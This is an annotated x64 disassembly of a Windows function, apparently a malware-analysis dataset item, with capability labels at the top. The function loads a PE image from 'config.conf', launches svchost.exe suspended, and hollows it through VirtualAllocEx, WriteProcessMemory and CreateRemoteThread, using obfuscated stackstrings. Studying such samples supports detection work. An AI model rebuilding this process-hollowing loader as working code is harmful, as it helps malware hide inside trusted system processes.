Function at 0x140001d7c
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode
Suspend thread
Use process replacement

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x338]
sub rsp, 0x410
mov rax, qword [0x140037060]
xor rax, rsp
mov qword [rbp + 0x300], rax
xor r12d, r12d
mov dword [rsp + 0x54], r12d
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x30]
call fcn.140008770
lea rax, [0x1400325c8]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0xe8], r12
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], r12
lea rax, vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov qword [rbp + 0xe0], rax
lea edi, [r12 + 1]
mov dword [rsp + 0x54], edi
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x30]
call fcn.1400041d0
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x40]
call fcn.140004534
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x40], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x40]
call fcn.1400040dc
nop
lea r14d, [r12 + 2]
lea r15d, [r12 + 0x40]
cmp qword [rbp + 0xc0], r12
jne 0x140001f56
mov r8d, r15d
mov edx, edi
lea rcx, str.config.conf
call fcn.140005d90
test rax, rax
je 0x140001f56
mov r8d, edi
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.1400040dc
mov rax, qword [rbp + 0xa0]
mov rcx, qword [rax + 8]
mov qword [rsp + 0x60], rcx
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x58]
call fcn.14000495c
mov rbx, rax
mov rax, qword [rax]
mov rcx, rbx
call qword [rax + 0x18]
test al, al
je 0x140001ed8
mov qword [rbp + 0xa8], r12
jmp 0x140001f35
mov qword [rbp + 0xa8], rbx
lea rax, [rbp + 0x48]
mov qword [rbp + 0x58], rax
lea rax, [rbp + 0x50]
mov qword [rbp + 0x60], rax
lea rax, [rbp + 0x68]
mov qword [rbp + 0x78], rax
lea rax, [rbp + 0x70]
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0x88]
mov qword [rbp + 0x90], rax
lea rax, [rbp + 0x8c]
mov qword [rbp + 0x98], rax
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x48], r12
mov qword [rbp + 0x68], r12
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140001f71
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, rax
test rax, rax
je 0x140001f71
mov rax, qword [rax]
mov edx, edi
call qword [rax]
jmp 0x140001f71
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
xor r8d, r8d
mov edx, r14d
call fcn.140004300
nop
cmp qword [rbp + 0xc0], r12
jne 0x140001f86
lea rsi, vtable.std::ios_base.0
jmp 0x14000256b
mov qword [rbp + 8], r12
mov qword [rbp + 0x18], r12
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], r12b
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x70]
mov rcx, qword [rax + 8]
mov qword [rsp + 0x60], rcx
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x58]
call fcn.1400045c0
mov rcx, rax
mov rax, qword [rax]
mov dl, 0xa
call qword [rax + 0x40]
mov bl, al
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140001fed
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, rax
test rax, rax
je 0x140001fed
mov rax, qword [rax]
mov edx, edi
call qword [rax]
mov r8b, bl
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x30]
call fcn.140004ea0
cmp qword [rbp + 0xc0], r12
je 0x14000205e
mov rax, qword [rbp + 0x58]
lea rcx, [rbp + 0xb0]
cmp qword [rax], rcx
jne 0x140002039
mov rdx, qword [rbp + 0xd0]
mov rcx, qword [rbp + 0xc8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x78]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x90]
mov dword [rax], edx
lea rsi, [rbp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.140004014
neg al
sbb rbx, rbx
and rbx, rsi
mov rcx, qword [rbp + 0xc0]
call fcn.14000cad4
test eax, eax
je 0x140002061
mov rbx, r12
mov r8d, r14d
xor edx, edx
lea rcx, [rbp + 0x40]
call fcn.1400040dc
test rbx, rbx
jne 0x14000208e
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
xor r8d, r8d
mov edx, r14d
call fcn.140004300
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
mov qword [rbp - 0x20], r12
xor edx, edx
mov r8d, 0xf0
lea rcx, [rbp + 0x150]
call fcn.140008770
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x150]
call fcn.140002d5c
nop
mov qword [rbp - 0x18], r12
mov qword [rbp - 8], r12
mov qword [rbp], 0xf
mov byte [rbp - 0x18], r12b
jmp 0x14000213a
call fcn.14000d284
mov rsi, rax
lea rbx, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rbx, qword [rbp - 0x18]
mov dword [rax], r12d
mov r8d, 0xa
lea rdx, [rsp + 0x58]
mov rcx, rbx
call fcn.14000dd78
cmp rbx, qword [rsp + 0x58]
je 0x1400025d1
cmp dword [rsi], 0x22
je 0x1400025c4
mov dword [rsp + 0x54], eax
mov rdx, qword [rbp - 0x28]
cmp rdx, qword [rbp - 0x20]
je 0x14000212c
mov dword [rdx], eax
add qword [rbp - 0x28], 4
jmp 0x14000213a
lea r8, [rsp + 0x54]
lea rcx, [rbp - 0x30]
call fcn.1400047f8
mov r8b, 0x2c
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x150]
call fcn.140004ea0
mov rdx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
test byte [rcx + rdx + 0x10], 6
je 0x1400020d5
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
mov rax, r12
mov qword [rbp - 0x38], rax
mov rsi, qword [rbp - 0x28]
mov rbx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x40]
cmp rbx, rsi
je 0x1400021bd
mov ecx, dword [rbx]
mov byte [rsp + 0x50], cl
cmp rdx, rax
je 0x14000219c
mov byte [rdx], cl
mov rdx, qword [rbp - 0x40]
add rdx, rdi
mov qword [rbp - 0x40], rdx
jmp 0x1400021ae
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x48]
call fcn.1400046bc
mov rdx, qword [rbp - 0x40]
add rbx, 4
cmp rbx, rsi
je 0x1400021bd
mov rax, qword [rbp - 0x38]
jmp 0x140002182
sub rdx, qword [rbp - 0x48]
mov r9d, r15d
mov r13d, 0x1000
mov r8d, r13d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x14000242c
mov rbx, qword [rbp - 0x48]
movsxd rsi, dword [rbx + 0x3c]
add rsi, rbx
mov dword [rbp + 0x240], 0x68
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0x248]
call fcn.140008770
mov dword [rbp + 0x2b0], 0x6c64746e
mov dword [rbp + 0x2b4], 0x6c642e6c
mov byte [rbp + 0x2b8], 0x6c
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
movdqa xmm0, xmmword [0x140032680]
movdqu xmmword [rbp + 0x2e0], xmm0
mov dword [rbp + 0x2f0], 0x72506e6f
mov dword [rbp + 0x2f4], 0x7365636f
mov byte [rbp + 0x2f8], 0x73
lea rdx, [rbp + 0x2e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
cmp dword [rsi], 0x4550
jne 0x14000242c
movdqa xmm0, xmmword [0x140032660]
movdqu xmmword [rbp + 0x2c0], xmm0
mov dword [rbp + 0x2d0], 0x2f32336d
mov dword [rbp + 0x2d4], 0x68637673
mov dword [rbp + 0x2d8], 0x2e74736f
mov word [rbp + 0x2dc], 0x7865
mov byte [rbp + 0x2de], 0x65
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x240]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000242c
lea rax, [rbp + 0x140]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rbp - 0x78]
xor edx, edx
mov rcx, qword [rsp + 0x70]
call r14
mov r8d, dword [rsi + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x14000242c
mov r9d, dword [rsi + 0x54]
mov qword [rsp + 0x20], r12
mov r8, qword [rbp - 0x48]
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movsxd rbx, dword [rbx + 0x3c]
mov rax, qword [rbp - 0x48]
add rbx, 0x11c
mov r14d, r12d
cmp r12w, word [rsi + 6]
jae 0x1400023be
add rbx, rax
mov r9d, dword [rbx - 4]
mov r8d, dword [rbx]
add r8, rax
mov edx, dword [rbx - 8]
add rdx, qword [rsp + 0x68]
mov qword [rsp + 0x20], r12
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rbx, [rbx + 0x28]
add r14d, edi
movzx eax, word [rsi + 6]
cmp r14d, eax
jge 0x1400023be
mov rax, qword [rbp - 0x48]
jmp 0x140002386
mov rdx, qword [rbp - 0x70]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, dword [rsi + 0x28]
add r9, qword [rsp + 0x68]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r12
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edi, r12d
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000246e
mov rdx, qword [rbp - 0x38]
sub rdx, rcx
mov rax, rcx
cmp rdx, r13
jb 0x14000245d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400025de
call fcn.140006490
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r12
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x1400024a5
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, r13
jb 0x1400024a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400025e4
call fcn.140006490
mov qword [rbp - 8], r12
mov ebx, 0xf
mov qword [rbp], rbx
mov byte [rbp - 0x18], r12b
lea rcx, [rbp + 0x1e0]
call fcn.140002ce0
nop
lea rsi, vtable.std::ios_base.0
mov qword [rbp + 0x1e0], rsi
lea rcx, [rbp + 0x1e0]
call fcn.140005b88
nop
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x14000252c
mov rax, qword [rbp - 0x20]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, r13
jb 0x14000251b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400025ea
call fcn.140006490
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r12
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x14000255f
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, r13
jb 0x14000255a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400025be
call fcn.140006490
mov qword [rbp + 0x18], r12
mov qword [rbp + 0x20], rbx
mov byte [rbp + 8], r12b
lea rcx, [rbp + 0xe0]
call fcn.140003c48
nop
mov qword [rbp + 0xe0], rsi
lea rcx, [rbp + 0xe0]
call fcn.140005b88
nop
mov eax, edi
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.140006470
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000e8f0
nop
lea rcx, str.stoi_argument_out_of_range
call fcn.1400056cc
int3
lea rcx, str.invalid_stoi_argument
call fcn.140005684
int3
call fcn.14000e8f0
nop
call fcn.14000e8f0
nop
call fcn.14000e8f0
int3